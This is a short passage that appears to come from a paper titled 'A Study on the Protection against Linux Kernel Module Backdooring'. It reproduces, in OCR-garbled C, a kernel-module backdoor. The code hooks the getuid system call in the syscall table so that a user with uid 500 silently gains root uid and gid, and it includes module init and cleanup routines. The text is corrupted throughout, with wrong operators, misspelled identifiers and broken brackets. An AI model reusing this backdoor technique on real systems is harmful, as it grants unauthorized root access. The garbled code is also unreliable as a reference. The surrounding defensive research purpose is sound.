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A Study on the Protection against Linux Kernel Module Backdooring
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int hacked_getuid()
{

int tmp;

if(current=>uid=500){
current- >uid=0: current->euid=0:current->gid=0;
current—>egid=0:
return O
}
tmp = (*ogin_getuid)():
return tmp;
}
int init_modele{void)
{
orig_getuid=sys_call_table{ _NR_getuid]:
sys_call_table[__NR_getuid]=hacked_getuid:
reture 0;
}
void cleanup_moduele(void)
{
sys_call_table] _NR_getuid |=orig_getuid:
}
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